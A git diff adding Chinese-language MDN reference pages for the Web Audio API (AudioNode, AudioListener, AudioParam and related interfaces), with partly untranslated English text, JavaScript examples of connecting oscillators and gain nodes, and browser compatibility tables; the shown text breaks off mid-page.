+ + diff --git a/files/zh-cn/web/api/audiodestinationnode/maxchannelcount/index.html b/files/zh-cn/web/api/audiodestinationnode/maxchannelcount/index.html new file mode 100644 index 0000000000..3e3a9ec874 --- /dev/null +++ b/files/zh-cn/web/api/audiodestinationnode/maxchannelcount/index.html @@ -0,0 +1,113 @@ +--- +title: AudioDestinationNode.maxChannelCount +slug: Web/API/AudioDestinationNode/maxChannelCount +translation_of: Web/API/AudioDestinationNode/maxChannelCount +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioDestinationNode") }} 接口的maxchannelCount属性是一个表示物理设备能处理最大通道数的无符号长整型数。

+ +

 {{domxref("AudioNode.channelCount")}} 属性值只能在 0和这个值 (两端包含)之间。如果 maxChannelCount0,例如在 {{domxref("OfflineAudioContext")}}, 表示音频通道不能被改变。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var myDestination = audioCtx.destination;
+myDestination.maxChannelCount = 2;
+
+ +

+ +

一个无符号长整型数

+ +

例子

+ +

下面假设了一个简单的音频环境,设置其中 AudioDestinationNode的maxChannelCount值为 2:

+ +
var audioCtx = new AudioContext();
+var source = audioCtx.createMediaElementSource(myMediaElement);
+source.connect(gainNode);
+audioCtx.destination.maxChannelCount = 2;
+gainNode.connect(audioCtx.destination);
+ +

为看到一个更完整的实施,请访问我们的 MDN Web Audio 例子,如 Voice-change-o-matic 或者 Violent Theremin.

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioDestinationNode-maxChannelCount', 'maxChannelCount')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

其他

+ + diff --git a/files/zh-cn/web/api/audiolistener/index.html b/files/zh-cn/web/api/audiolistener/index.html new file mode 100644 index 0000000000..4129e028e1 --- /dev/null +++ b/files/zh-cn/web/api/audiolistener/index.html @@ -0,0 +1,111 @@ +--- +title: AudioListener +slug: Web/API/AudioListener +translation_of: Web/API/AudioListener +--- +

{{ APIRef("Web Audio API") }}

+ +

AudioListener 接口代表了人听音乐场景时声音的位置和方向, 和用于音频空间化。 所有{{domxref("PannerNode")}} 相对于 AudioListener 的空间化储存在{{domxref("BaseAudioContext.listener")}} 属性里.

+ +

特别需要注意的是一个环境中只能有一个收听者而且这不是{{domxref("AudioNode")}}.

+ +

We see the position, up and front vectors of an AudioListener, with the up and front vectors at 90° from the other.

+ +

Properties

+ +
+

position,forward和up值是以不同的语法设置和检索的。检索是通过访问来实现的,比如说 AudioListener.positionX ,设置相同属性时可以通过使用 AudioListener.positionX.value 来完成。 这就是为什么他们不被标记为只读, 这在规范的接口定义中就是这么说的.

+
+ +
+
{{domxref("AudioListener.positionX")}}
+
在笛卡尔右手坐标系中代表一个收听者的水平坐标。默认值是 0.
+
{{domxref("AudioListener.positionY")}}
+
Represents the vertical position of the listener in a right-hand cartesian coordinate sytem. The default is 0.
+
{{domxref("AudioListener.positionZ")}}
+
Represents the longitudinal (back and forth) position of the listener in a right-hand cartesian coordinate sytem. The default is 0.
+
{{domxref("AudioListener.forwardX")}}
+
在相同的笛卡尔坐标系中代表了收听者的面向的方向的水平坐标,就像 (positionX, positionY, 和 positionZ) 值一样。前方和上方值互相线性无关。默认值是 0.
+
{{domxref("AudioListener.forwardY")}}
+
Represents the vertical position of the listener's forward direction in the same cartesian coordinate sytem as the position (positionX, positionY, and positionZ) values. The forward and up values are linearly independent of each other. The default is 0.
+
{{domxref("AudioListener.forwardZ")}}
+
Represents the longitudinal (back and forth) position of the listener's forward direction in the same cartesian coordinate sytem as the position (positionX, positionY, and positionZ) values. The forward and up values are linearly independent of each other. The default is -1.
+
{{domxref("AudioListener.upX")}}
+
代表了收听者头顶在笛卡尔坐标系的水平位置,就像 (positionX, positionY, 和positionZ) 值一样。 前方和上方值线性无关。默认值是 0.
+
{{domxref("AudioListener.upY")}}
+
Represents the vertical position of the top of the listener's head in the same cartesian coordinate sytem as the position (positionX, positionY, and positionZ) values. The forward and up values are linearly independent of each other. The default is 1.
+
{{domxref("AudioListener.upZ")}}
+
Represents the longitudinal (back and forth) position of the top of the listener's head in the same cartesian coordinate sytem as the position (positionX, positionY, and positionZ) values. The forward and up values are linearly independent of each other. The default is 0.
+
+ +

Methods

+ +
+
{{domxref("AudioListener.setOrientation()")}} {{deprecated_inline}}
+
设置收听者的方向。
+
{{domxref("AudioListener.setPosition()")}} {{deprecated_inline}}
+
设置收听者的位置。
+
+ +
+

Note: Although these methods are deprecated they are currently the only way to set the orientation and position in Firefox, Internet Explorer and Safari.

+
+ +

Deprecated features

+ +
+
{{domxref("AudioListener.dopplerFactor")}} {{obsolete_inline}}
+
一个Double值,表示在呈现 多普勒效应 时要使用的音高偏移量。
+
{{domxref("AudioListener.speedOfSound")}} {{obsolete_inline}}
+
一个Double值代表了声音的速度,以米每秒的单位计算。
+
+ +

In a previous version of the specification, the dopplerFactor and speedOfSound properties and the setPosition() method could be used to control the doppler effect applied to {{domxref("AudioBufferSourceNode")}}s connected downstream — these would be pitched up and down according to the relative speed of the {{domxref("PannerNode")}} and the {{domxref("AudioListener")}}. These features had a number of problems:

+ + + +

Because of these issues, these properties and methods have been removed.

+ +

The setOrientation() and setPosition() methods have been replaced by setting their property value equivilents. For example setPosition(x, y, z) can be achieved by setting positionX.value, positionY.value, and positionZ.value respectively.

+ +
+
+ +

Example

+ +

{{page("/en-US/docs/Web/API/AudioContext.createPanner","Example")}}

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#audiolistener', 'AudioListener')}}{{Spec2('Web Audio API')}}
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.AudioListener")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/audionode/connect(audioparam)/index.html b/files/zh-cn/web/api/audionode/connect(audioparam)/index.html new file mode 100644 index 0000000000..eb82534aed --- /dev/null +++ b/files/zh-cn/web/api/audionode/connect(audioparam)/index.html @@ -0,0 +1,163 @@ +--- +title: AudioNode.connect(AudioParam) +slug: Web/API/AudioNode/connect(AudioParam) +translation_of: Web/API/AudioNode/connect(AudioParam) +--- +

{{ APIRef("Web Audio API") }}

+ +
+

允许我们将当前节点的一个输出连接到音频参数的一个输入,并允许通过音频信号控制参数。
+ 使AudioNode输出连接到多个AudioParam,并将多个AudioNode输出连接到单个 AudioParam,同时多次调用connect()。因此支持Fan-in and fan-out。
+  AudioParam可以从连接到它的任何AudioNode输出获取渲染的音频数据,并通过下混合将其转换为单声道(如果本身不是单声道的话)。然后,它将其他这样的输出和固定参数混合( AudioParam的值通常没有任何连接),包括为参数调度的任何时间的变化。
+ 因此,可以通过将AudioParam的值设置为中心频率来选择AudioParam将要更改的范围,并使用音频源和AudioParam之间的GainNode来调整AudioParam更改的范围。

+
+ +

Syntax

+ +
var lfo = audioCtx.createOscillator();
+lfo.frequency.value = 2.0; // Hz, two times per second
+
+var lfoGain = audioCtx.createGain();
+lfoGain.gain.value = 0.5;
+
+// this is the parameter that is going to be modulated
+var gain = audioCtx.createGain();
+gain.gain.value = 0.5;
+
+// Oscillators go from -1 to 1
+// Make it go from -0.5 to +0.5 by connecting it to a GainNode with a gain value of 0.5
+lfo.connect(lfoGain);
+
+// because the value of the gain.gain AudioParam is originaly 0.5, the value is added, and it will go from 0.0 to 1.0
+lfoGain.connect(gain.gain);
+
+lfo.connect(gain.gain);
+ +
+

Note: There can only be one connection between an output from one specific AudioNode and an {{ domxref("AudioParam") }}. Multiple connections to the same termini are equivalent to a single such connection (the duplicates are ignored).

+
+ +

Returns

+ +

Void.

+ +

Example

+ +

In this example, we will be altering the gain value of a {{domxref("GainNode")}} using an {{domxref("OscillatorNode")}} with a slow frequency value. This technique is know as an LFO-controlled parameter.

+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+
+var audioCtx = new AudioContext();
+
+// create an normal oscillator to make sound
+var oscillator = audioCtx.createOscillator();
+
+// create a second oscillator that will be used as an LFO (Low-frequency
+// oscillator), and will control a parameter
+var lfo = audioCtx.createOscillator();
+
+// set the frequency of the second oscillator to a low number
+lfo.frequency.value = 2.0; // 2Hz: two oscillations par second
+
+// create a gain whose gain AudioParam will be controlled by the LFO
+var gain = audioCtx.createGain();
+
+// connect the LFO to the gain AudioParam. This means the value of the LFO
+// will not produce any audio, but will change the value of the gain instead
+lfo.connect(gain.gain);
+
+// connect the oscillator that will produce audio to the gain
+oscillator.connect(gain);
+
+// connect the gain to the destination so we hear sound
+gain.connect(audioCtx.destination);
+
+// start the oscillator that will produce audio
+oscillator.start();
+
+// start the oscillator that will modify the gain value
+lfo.start();
+ +

Parameters

+ +
+
Destination
+
The {{ domxref("AudioParam") }} you are connecting to.
+
Output (optional)
+
An index describing which output of the current AudioNode you want to connect to the {{ domxref("AudioParam") }}. The index numbers are defined according to the number of output channels (see Audio channels.)  If this parameter is out-of-bound, an INDEX_SIZE_ERR exception is thrown.
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioNode-connect-void-AudioParam-destination-unsigned-long-output', 'connect(AudioParam)')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
connect(AudioParam){{CompatVersionUnknown}} {{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
connect(AudioParam){{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/audionode/connect/index.html b/files/zh-cn/web/api/audionode/connect/index.html new file mode 100644 index 0000000000..a0b5a763cb --- /dev/null +++ b/files/zh-cn/web/api/audionode/connect/index.html @@ -0,0 +1,145 @@ +--- +title: AudioNode.connect() +slug: Web/API/AudioNode/connect +translation_of: Web/API/AudioNode/connect +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioNode") }} 接口的 connect() 方法使你能将一个节点的输出连接到一个指定目标,这个指定的目标可能是另一个 AudioNode(从而将音频数据引导到下一个指定节点)或一个{{domxref("AudioParam")}}, 以便上一个节点的输出数据随着时间流逝能自动地对下一个参数值进行改变。

+
+ +

语法

+ +
var destinationNode = AudioNode.connect(destination, outputIndex, inputIndex);
+
+AudioNode.connect(destination, outputIndex);
+
+ +

属性

+ +
+
destination
+
需要连接的 {{domxref("AudioNode")}} 或 {{domxref("AudioParam")}}.
+
outputIndex {{optional_inline}}
+
一个索引,用于描述当前  AudioNode 的哪个输出会连接到destination。索引数字是由输出频道(详见 Audio channels)的数量来确定的。当你只能将给定的输出连接到给定的输入一次(重复的尝试会被忽略)时,可以通过多次调用 connect() 将一个输出连接到多个输入。可以通过这样来实现扇出。这个参数的默认值为0。
+
inputIndex {{optional_inline}}
+
一个索引,用于描述当前  AudioNode 会连接到destination的哪个输入,它的默认值是0。索引数字是由输入频道(详见 Audio channels)的数量来确定的。将一个  AudioNode 连接回之前的 AudioNode,以此形成一个圈是可行的。 不过只在这个圈里有至少一个 {{domxref("DelayNode")}} 才可行。否则会抛出一个 NotSupportedError 异常。此参数在destination是 {{domxref("AudioParam")}}时不可用。
+
+ +

返回值

+ +

如果destination是一个节点, connect() 返回destination所表示的  {{domxref("AudioNode")}} 对象的引用,允许你链式地调用数个 connect() 。某些浏览器关于该接口的旧实现会返回 {{jsxref("undefined")}}。

+ +

如果destination是一个  AudioParamconnect() 返回 undefined.

+ +

异常

+ +
+
IndexSizeError
+
这个异常表明 outputIndex 或 inputIndex 与当前输入或输出不符。
+
InvalidAccessError
+
目标节点与原节点不在同一个音频上下文。
+
NotSupportedError
+
该链接会形成一个闭环(音频在这个环里不断重复经过同一个节点)并且这个闭环里没有 {{domxref("DelayNode")}} 来防止产生的波形被卡住,不停地构建相同的音频帧。
+
+ +

示例

+ +

Connecting to an audio input

+ +

The most obvious use of the connect() method is to direct the audio output from one node into the audio input of another node for further processing. For example, you might send the audio from a {{domxref("MediaElementAudioSourceNode")}}—that is, the audio from an HTML5 media element such as {{HTMLElement("audio")}}—through a band pass filter implemented using a {{domxref("BiquadFilterNode")}} to reduce noise before then sending the audio along to the speakers.

+ +

This example creates an oscillator, then links it to a gain node, so that the gain node controls the volume of the oscillator node.

+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+
+var audioCtx = new AudioContext();
+
+var oscillator = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+
+oscillator.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+ +

AudioParam example

+ +

In this example, we will be altering the gain value of a {{domxref("GainNode")}} using an {{domxref("OscillatorNode")}} with a slow frequency value. This technique is know as an LFO-controlled parameter.

+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+
+var audioCtx = new AudioContext();
+
+// create an normal oscillator to make sound
+var oscillator = audioCtx.createOscillator();
+
+// create a second oscillator that will be used as an LFO (Low-frequency
+// oscillator), and will control a parameter
+var lfo = audioCtx.createOscillator();
+
+// set the frequency of the second oscillator to a low number
+lfo.frequency.value = 2.0; // 2Hz: two oscillations par second
+
+// create a gain whose gain AudioParam will be controlled by the LFO
+var gain = audioCtx.createGain();
+
+// connect the LFO to the gain AudioParam. This means the value of the LFO
+// will not produce any audio, but will change the value of the gain instead
+lfo.connect(gain.gain);
+
+// connect the oscillator that will produce audio to the gain
+oscillator.connect(gain);
+
+// connect the gain to the destination so we hear sound
+gain.connect(audioCtx.destination);
+
+// start the oscillator that will produce audio
+oscillator.start();
+
+// start the oscillator that will modify the gain value
+lfo.start();
+ +

AudioParam notes

+ +

It is possible to connect an AudioNode output to more than one {{ domxref("AudioParam") }}, and more than one AudioNode output to a single {{ domxref("AudioParam") }}, with multiple calls to connect(). Fan-in and fan-out are therefore supported.

+ +

An {{ domxref("AudioParam") }} will take the rendered audio data from any AudioNode output connected to it and convert it to mono by down-mixing (if it is not already mono). Next, it will mix it together with any other such outputs, and the intrinsic parameter value (the value the {{ domxref("AudioParam") }} would normally have without any audio connections), including any timeline changes scheduled for the parameter.

+ +

Therefore, it is possible to choose the range in which an {{domxref("AudioParam")}} will change by setting the value of the {{domxref("AudioParam")}} to the central frequency, and to use a {{domxref("GainNode")}} between the audio source and the {{domxref("AudioParam")}} to adjust the range of the {{domxref("AudioParam")}} changes.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioNode-connect-AudioNode-AudioNode-destination-unsigned-long-output-unsigned-long-input', 'connect() to an AudioNode')}}{{Spec2('Web Audio API')}} 
{{SpecName('Web Audio API', '#widl-AudioNode-connect-void-AudioParam-destination-unsigned-long-output', 'connect() to an AudioParam')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.AudioNode.connect")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/audionode/index.html b/files/zh-cn/web/api/audionode/index.html new file mode 100644 index 0000000000..1c08f81dc4 --- /dev/null +++ b/files/zh-cn/web/api/audionode/index.html @@ -0,0 +1,370 @@ +--- +title: AudioNode +slug: Web/API/AudioNode +translation_of: Web/API/AudioNode +--- +
{{ APIRef("Web Audio API") }} {{SeeCompatTable}}
+ +

AudioNodes participating in an AudioContext create a audio routing graph.AudioNode 接口是一个处理音频的通用模块, 比如一个音频源 (e.g. 一个 HTML {{HTMLElement("audio")}} or {{HTMLElement("video")}} 元素), 一个音频地址或者一个中间处理模块 (e.g. 一个过滤器如 {{domxref("BiquadFilterNode")}}, 或一个音量控制器如 {{domxref("GainNode")}}).

+ +

一个AudioNode 既有输入也有输出。输入与输出都有一定数量的通道。只有一个输出而没有输入的 AudioNode 叫做音频源。

+ +

处理多个 AudioNode 时,一般来说, 一个模块读取它的输入,做一些处理。后输出新生成的结果。

+ +

不同的模块可以连接在一起构建一个处理图。 这样一个处理图包含 {{domxref("AudioContext")}}。 每个 AudioNode 只有一个这样的上下文。

+ +

一个 AudioNode 可以作为事件的目标,所以它实现了 {{domxref("EventTarget")}} 接口。

+ +

属性

+ +
+
{{domxref("AudioNode.context")}} {{readonlyInline}}
+
链接到关联的 {{domxref("AudioContext")}},处理图中模块的上下文对象。
+
+ +
+
{{domxref("AudioNode.numberOfInputs")}} {{readonlyInline}}
+
返回这个node需要的输入数量. Source nodes are defined as nodes having a numberOfInputs attributes with a value of 0.
+
+ +
+
{{domxref("AudioNode.numberOfOutputs")}} {{readonlyInline}}
+
返回这个node的输出数量. Destination nodes, like AudioDestinationNode, have a value of 0 for this attribute.
+
+ +
+
{{domxref("AudioNode.channelCount")}}
+
Represents an integer used in determining how many channels outputs must contains. Its usage and precise definition depends of the value of AudioNode.channelCountMode: it is ignored if the value is "max", used as a maximum value for "clamped-max", or used as the effective value for "explicit".
+
+ +
+
{{domxref("AudioNode.channelCountMode")}}
+
Represents an enumerated value describing the way channels must be matched between the inputs and the outputs. Possible values are: + + + + + + + + + + + + + + + + + + + + + + + + + +
ValueDescriptionUsed as default for the following AudioNode children
"max"The number of channels is the maximum of the number of channels all connections. That implies that channelCount is ignored and only up-mixing happens{{domxref("GainNode")}}, {{domxref("DelayNode")}}, {{domxref("ScriptProcessorNode")}}, {{domxref("ChannelSplitterNode")}}, {{domxref("ChannelMergerNode")}}, {{domxref("BiquadFilterNode")}}, {{domxref("WaveShaperNode")}}
"clamped-max"The number of channels is the maximum of the number of channels of all connections, clamped to the value of channelCount.{{domxref("PannerNode")}}, {{domxref("ConvolverNode")}}
"explicit"The number of channels is defined by the value of channelCount.{{domxref("AudioDestinationNode")}}, {{domxref("AnalyserNode")}}, {{domxref("DynamicsCompressorNode")}}
+
+
{{domxref("AudioNode.channelInterpretation")}}
+
Represents an enumerated value describing the meaning of the channels. This interpretation will define how the up-mixing and the down-mixing will happen.
+ The possible values are "speakers" or "discrete". In the case of "speakers", the ordering of the channels have the following meaning, and the channels are often represented by a standard abbreviation: + + + + + + + + + + + + + + + + + + + +
Mono0: M: mono
Stereo0: L: left
+ 1: R: right
Quad0: L:  left
+ 1: R:  right
+ 2: SL: surround left
+ 3: SR: surround right
5.10: L:   left
+ 1: R:   right
+ 2: C:   center
+ 3: LFE: subwoofer
+ 4: SL:  surround left
+ 5: SR:  surround right
+ When the amount of channels doesn't match between an input and an output, up- or down-mixing happens according the following rules: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
InterpretationInput channelsOutput channelsMixing rules
speakers1 (Mono)2 (Stereo)Up-mix from mono to stereo.
+ The M input channel is used for both output channels (L and R).
+ output.L = input.M
+ output.R = input.M
1 (Mono)4 (Quad)Up-mix from mono to quad.
+ The M input channel is used for non-surround output channels (L and R). Surround output channels (SL and SR) are silent.
+ output.L  = input.M
+ output.R  = input.M
+ output.SL = 0
+ output.SR = 0
1 (Mono)6 (5.1)Up-mix from mono to 5.1.
+ The M input channel is used for the center output channel (C). All the others (L, R, LFE, SL, and SR) are silent.
+ output.L   = 0
+ output.R   = 0

+ output.C   = input.M
+ output.LFE = 0
+ output.SL  = 0
+ output.SR  = 0
2 (Stereo)1 (Mono)Down-mix from stereo to mono.
+ Both input channels (L and R) are equally combined to produce the unique output channel (M).
+ output.M = 0.5 * (input.L + input.R)
2 (Stereo)4 (Quad)Up-mix from stereo to quad.
+ The L and R input channels are used for their non-surround respective output channels (L and R). Surround output channels (SL and SR) are silent.
+ output.L  = input.L
+ output.R  = input.R
+ output.SL = 0
+ output.SR = 0
2 (Stereo)6 (5.1)Up-mix from stereo to 5.1.
+ The L and R input channels are used for their non-surround respective output channels (L and R). Surround output channels (SL and SR), as well as the center (C) and subwoofer (LFE) channels, are left silent.
+ output.L   = input.L
+ output.R   = input.R
+ output.C   = 0
+ output.LFE = 0
+ output.SL  = 0
+ output.SR  = 0
4 (Quad)1 (Mono)Down-mix from quad to mono.
+ All four input channels (L, R, SL, and SR) are equally combined to produce the unique output channel (M).
+ output.M = 0.25 * (input.L + input.R + input.SL + input.SR)
4 (Quad)2 (Stereo)Down-mix from quad to mono.
+ Both left input channels (L and SL) are equally combined to produce the unique left output channel (L). And similarly, both right input channels (R and SR) are equally combined to produce the unique right output channel (R).
+ output.L = 0.5 * (input.L + input.SL)
+ output.R = 0.5 * (input.R + input.SR)
4 (Quad)6 (5.1)Up-mix from quad to 5.1.
+ The L, R, SL, and SR input channels are used for their respective output channels (L and R). Center (C) and subwoofer (LFE) channels are left silent.
+ output.L   = input.L
+ output.R   = input.R
+ output.C   = 0
+ output.LFE = 0
+ output.SL  = input.SL
+ output.SR  = input.SR
6 (5.1)1 (Mono)Down-mix from 5.1 to stereo.
+ The left and right, both surround or not, and the central channels are all mixed together. The surround channels are slightly attenuated and the regular lateral channels are power-compensated to make them count as a single channel. The subwoofer (LFE) channel is lost.
+ output.M = 0.7071 * (input.L + input.R) + input.C + 0.5 * (input.SL + input.SR)
6 (5.1)2 (Stereo)Down-mix from 5.1 to stereo.
+ The central (C) is summed with each lateral surround channels (SL or SR) and mixed to each lateral channel. As it is mixed in two channels, it is mixed at lower power, that is they are multiplied by √2/2. The subwoofer (LFE) channel is lost.
+ output.L   = input.L + 0.7071 * (input.C + input.SL)
+ output.R   = input.R
+ 0.7071 * (input.C + input.SR)
6 (5.1)4 (Quad)Down-mix from 5.1 to quad.
+ The central (C) is mixed with the lateral non-surround channels (L and R). As it is mixed in two channels, it is mixed at lower power, that is they are multiplied by √2/2. The surround channels are passed unchanged. The subwoofer (LFE) channel is lost.
+ output.L   = input.L + 0.7071 * input.C
+ output.R   = input.R
+ output.SL  = input.SL
+ output.SR  = input.SR
OtherAs these are non-standard channel layout, they are handled as if channelInterpretation was set to discrete.
+ The specification explicitly allow the future definition of new speakers layout. This fallback is therefore not future proof as the behavior of the browsers for a specific amount of channels may change in the future.
discreteany (x)any (y) where x<yUp-mix discrete channels.
+ Fill each output channel with its input counterpart, that is the input channel with the same index. Channels with no corresponding input channels are left silent.
any (x)any (y) where x>yDown-mix discrete channels.
+ Fill each output channel with its input counterpart, that is the input channel with the same index. Input channels with no corresponding output channels are dropped.
+
+
+ +

方法

+ +

Also implements methods from the interface {{domxref("EventTarget")}}.

+ +
+
{{domxref("AudioNode.connect(AudioNode)")}}
+
允许将此节点的一个输出连接到另一个节点的一个输入。
+
{{domxref("AudioNode.connect(AudioParam)")}}
+
允许将此节点的一个输出连接到音频参数的一个输入。
+
{{domxref("AudioNode.disconnect()")}}
+
允许将这个节点从另一个节点断开连接。
+
+ +

例子

+ + + +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#AudioNode-section', 'AudioNode')}}{{Spec2('Web Audio API')}}
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{property_prefix("webkit")}}Activated on Nightly only{{CompatNo}}{{CompatNo}}{{CompatUnknown}}
channelCount channelCountMode{{CompatNo}}{{CompatNo}} (?){{CompatNo}}{{CompatNo}}{{CompatNo}}
connect(AudioParam){{CompatNo}}Activated on Nightly only{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}Activated on Nightly only{{CompatNo}}{{CompatNo}}{{CompatUnknown}}
channelCount
+ channelCountMode
{{CompatNo}}{{CompatNo}} (?){{CompatNo}}{{CompatNo}}{{CompatNo}}
connect(AudioParam){{CompatNo}}Activated on Nightly only{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

相关内容

+ + diff --git a/files/zh-cn/web/api/audionodeoptions/index.html b/files/zh-cn/web/api/audionodeoptions/index.html new file mode 100644 index 0000000000..5587111d47 --- /dev/null +++ b/files/zh-cn/web/api/audionodeoptions/index.html @@ -0,0 +1,101 @@ +--- +title: AudioNodeOptions +slug: Web/API/AudioNodeOptions +translation_of: Web/API/AudioNodeOptions +--- +

{{APIRef("'Web Audio API'")}}

+ +

Web Audio API 的 AudioNodeOptions 字典指定了创建新 {{domxref("AudioNode")}} 对象时可使用的选项.

+ +

AudioNodeOptions 继承自不同类型的音频节点构造函数的选项对象. 例如 {{domxref("AnalyserNode.AnalyserNode")}} 或 {{domxref("GainNode.GainNode")}}.

+ +

语法

+ +
var audioNodeOptions = {
+  "channelCount" : 2,
+  "channelCountMode" : "max",
+  "channelInterpretation" : "discrete"
+}
+ +

参数

+ +
+
channelCount {{optional_inline}}
+
Represents an integer used to determine how many channels are used when up-mixing and down-mixing connections to any inputs to the node. (See {{domxref("AudioNode.channelCount")}} for more information.) Its usage and precise definition depend on the value of {{domxref("AudioNodeOptions.channelCountMode")}}.
+
channelCountMode {{optional_inline}}
+
Represents an enumerated value describing the way channels must be matched between the node's inputs and outputs. (See {{domxref("AudioNode.channelCountMode")}} for more information including default values.)
+
channelInterpretation {{optional_inline}}
+
Represents an enumerated value describing the meaning of the channels. This interpretation will define how audio up-mixing and down-mixing will happen.
+ The possible values are "speakers" or "discrete". (See {{domxref("AudioNode.channelCountMode")}} for more information including default values.)
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API','#audionodeoptions','AudioNodeOptions')}}{{Spec2('Web Audio API')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(55.0)}}{{CompatGeckoDesktop(53)}}{{CompatUnknown}}{{CompatOpera(42)}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(55.0)}}{{CompatGeckoMobile(53)}}{{CompatUnknown}}{{CompatOperaMobile(42)}}{{CompatUnknown}}{{CompatChrome(55.0)}}
+
diff --git a/files/zh-cn/web/api/audioparam/index.html b/files/zh-cn/web/api/audioparam/index.html new file mode 100644 index 0000000000..64949ad580 --- /dev/null +++ b/files/zh-cn/web/api/audioparam/index.html @@ -0,0 +1,215 @@ +--- +title: AudioParam +slug: Web/API/AudioParam +translation_of: Web/API/AudioParam +--- +

{{APIRef("Web Audio API")}}

+ +
+

AudioParam 接口代表音频相关的参数, 通常是一个 {{domxref("AudioNode")}} (例如 {{ domxref("GainNode.gain") }}) 的参数。一个 AudioParam 可以被设置为一个具体的值或者数值的改变 ,可以被安排在在一个具体的时刻并且遵循一个特定的模式发生。

+
+ +

下面有两种类型的 AudioParam, a-rate 和 k-rate 参数:

+ + + +

每个 {{domxref("AudioNode")}} 定义了其规格中哪一个参数是 a-rate 或 k-rate

+ +

每个 AudioParam 有一个事件的列表,初始化时列表为空。该列表定义了什么时候数值怎么改变。当这个列表不是空的时候,使用 AudioParam.value 属性的改变会被忽略 。事件的列表允许我们去有计划地进行必须在非常精确的时间发生的更改,使用任意的基于时间轴的自动化曲线。被使用的时间在{{domxref("AudioContext.currentTime")}} 中被定义。

+ +

属性

+ +

AudioParam 继承的属性来自于它的父类, AudioNode。

+ +
+
{{domxref("AudioParam.defaultValue")}} {{readonlyInline}}
+
代表被具体的{{domxref("AudioNode")}} 创建的 AudioParam 的属性的初始的音量。
+
{{domxref("AudioParam.maxValue")}} {{readonlyInline}}
+
代表参数有效范围的最大可能值。
+
{{domxref("AudioParam.minValue")}} {{readonlyinline}}
+
代表参数有效范围的最小可能值。
+
{{domxref("AudioParam.value")}}
+
代表参数的浮点数音量值;初始化设定为 AudioParam.defaultValue 的值。虽然它可以被设置,但是任何发生在自动化事件(事件被计划用于 AudioParam )的修改会被忽略,没有任何例外。
+
+ +

方法

+ +

AudioParam 初始化的方法来自它的父类,AudioNode.

+ +
+
{{domxref("AudioParam.setValueAtTime()")}}
+
在一个确切的时间,即时更改 AudioParam 的值,按照{{domxref("AudioContext.currentTime")}} 的时间。新的值会被传递到 value 参数。
+
{{domxref("AudioParam.linearRampToValueAtTime()")}}
+
调整 AudioParam 的值,使其逐渐按线性变化。这个改变会从上一个事件指定的事件开始,跟随一个线性“斜坡”到参数给的新值,并在 endTime 参数给定的时间到达新值。
+
{{domxref("AudioParam.exponentialRampToValueAtTime()")}}
+
